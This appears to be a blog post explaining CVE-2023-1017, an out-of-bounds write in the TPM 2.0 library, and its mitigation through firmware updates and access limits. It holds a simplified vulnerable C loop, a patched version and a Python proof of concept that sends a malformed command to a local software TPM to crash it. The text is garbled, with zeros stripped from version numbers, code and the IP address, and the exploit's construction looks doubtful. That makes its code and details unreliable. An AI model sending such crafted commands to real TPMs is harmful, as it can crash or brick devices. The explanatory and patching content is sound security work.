CVE-2023-1017 - Exploiting Out-Of-Bounds Write in TPM2. for Denial of Service and Code Execution

Trusted Platform Module (TPM) is a critical security chip you’ll find in countless devices, from laptops to enterprise servers. TPM2. is the latest mainstream standard, responsible for holding encryption keys, performing secure boot, and much more. In early 2023, a severe issue was discovered affecting its module library — CVE-2023-1017. This out-of-bounds (OOB) write could let attackers crash the chip or even execute code inside the TPM, an alarming scenario for system integrity.

In this long read, I’ll break down what went wrong, show you the vulnerable code, explain the exploit, and share resources to understand and mitigate this flaw.

What is CVE-2023-1017?

CVE-2023-1017 describes an unchecked OOB write in TPM2.'s CryptParameterDecryption routine. In simple terms: the TPM's code used the "decrypt" functionality and failed to ensure it was writing data within the allowed boundary. This resulted in the code sometimes writing up to two bytes past the end of a command buffer. Any attacker who can send crafted data to the TPM (locally or even remotely in VM/Cloud environments) could crash the process (DoS) or potentially gain code execution at the firmware level.

Affected Versions

- TCG TPM2. Library Specification (v1.59 and earlier)

Vendors like Infineon, STMicroelectronics, and Nuvoton implement their TPM firmware based on this library, so check your hardware and firmware updates.

The Technical Details

Let's look closer at the bug location and why it’s dangerous.

The Vulnerable Function

The problem lies in the CryptParameterDecryption routine. This function handles parameter decryption for certain TPM commands (part of session-based encryption).

Here’s a simplified version showing the root cause

// From Tpm2_CryptParameterDecryption()
UINT16 CryptParameterDecryption(
    BYTE* outBuffer,
    INT32 outSize,
    // other arguments
)
{
    // ... variable declarations
    for (INT32 i = ; i < paramSize; i++) {
        outBuffer[parameterEncryptionStart + i] ^= sessionKey[i];
        // NO CHECK that (parameterEncryptionStart + i) >= outSize!
    }
    // ...
}

What’s wrong?

paramSize comes directly from data received in a TPM command.

- The code blindly writes up to parameterEncryptionStart + paramSize, *without checking* if that fits inside outBuffer (whose length is outSize).

Consequence

If an attacker creates a malformed command with a too-large paramSize, the loop writes past the buffer — this is the OOB write. Specifically: up to 2 bytes beyond the end, due to the structure of TPM commands and parameter processing.

Denial of Service (Crash)

The easiest result is making the TPM process/firmware crash. Because firmware is tightly resource restricted, even a single OOB write can trigger fatal errors and potentially *brick* the chip. The system might throw TPM errors, crash, or remain unusable (until reboot or even full hardware replacement).

Sample Exploit Command

*Note: for illustrative/educational purposes only!*

# Example using tpm2-tools and structure manipulation
# Structure: [2 bytes header][payload][2 extra malicious bytes]

import struct, socket

# Helper - construct a malicious TPM command
def build_exploit_cmd():
    header = b'\x80\x01'                    # TPM_ST_NO_SESSIONS
    size = struct.pack('>I', 18)            # Total size field (wrong on purpose)
    cmd_code = struct.pack('>I', x00000153) # Command code; e.g. TPM2_EncryptDecrypt
    # Proper payload up to outBuffer
    payload = b'A' * 10                     # Arbitrary payload
    # Overwrite: 2 malicious bytes to write past buffer
    over = b'\xFF\xFF'
    return header + size + cmd_code + payload + over

# Send to software TPM listening on localhost
with socket.create_connection(('127...1', 2321)) as s:
    s.sendall(build_exploit_cmd())

*Sending this will likely crash a software TPM. Many physical chips will panic and halt: a hard power cycle may be needed to recover.*

Arbitrary Code Execution

Out-of-bounds writes (even if short) anywhere in the firmware context are potentially catastrophic. In TPM environments:
- Two bytes may be enough to corrupt command/heap areas, trigger jumps, or escalate with further manipulation.
- An attacker with deep knowledge of the implementation may chain this to further memory corruption (ROP, controlled structures), possibly leading to code execution *inside* the TPM microcontroller.

Attackers usually need low-level access and understanding of the chip’s memory/boot process. But with typical TPMs:

This flaw is not just theoretical

- Software TPMs (like swtpm):
- In virtualized/cloud settings, users may have TPM instances per VM. A malicious admin or co-tenant could attack your boot chain.

Physical TPM Modules:

- Attackers with user-level but not admin access can send crafted commands via /dev/tpm or Windows' TPM interfaces.

Security boundaries assume TPM is trustworthy. This breaks that model.

- Cloud/Enterprise:
- Any hardware managed remotely and leveraging TPM for attestation, sealed storage, or remote authentication is at risk.

How Was It Fixed?

The fix is fairly straightforward: Bounds-checking. In the patched routine, code ensures that writing never goes past the end of the buffer:

// Fixed version
for (INT32 i = ; i < paramSize; i++) {
    if ((parameterEncryptionStart + i) >= outSize)
        break;  // Prevent writing past buffer
    outBuffer[parameterEncryptionStart + i] ^= sessionKey[i];
}

Fixed in

- TCG TPM2. Library v1.59 Errata

Update Firmware:

If you have a discrete or firmware TPM module, check with your PC/server/motherboard vendor for applicable updates. See:
- Lenovo Advisory
- Dell Security Response
- Microsoft Advisory

For Software TPM:

Apply latest version (swtpm .8.+).

Limit Access:

Prevent untrusted users from sending raw TPM commands. Enforce least-privilege and group/user restrictions.

Conclusion

CVE-2023-1017 shows that even the most “trusted” foundations of the stack are vulnerable to simple programming errors. This bug — a mere two-byte overflow — could have grave consequences for both system reliability and security. If you administer systems using TPM2., update firmware ASAP, audit usage, and remember: *no trust anchor is above scrutiny*.

If you found this useful or need guidance in TPM security, keep an eye out for further deep dives. And, as always, patch early, patch often!

Timeline

Published on: 02/28/2023 19:15:00 UTC
Last modified on: 03/10/2023 02:04:00 UTC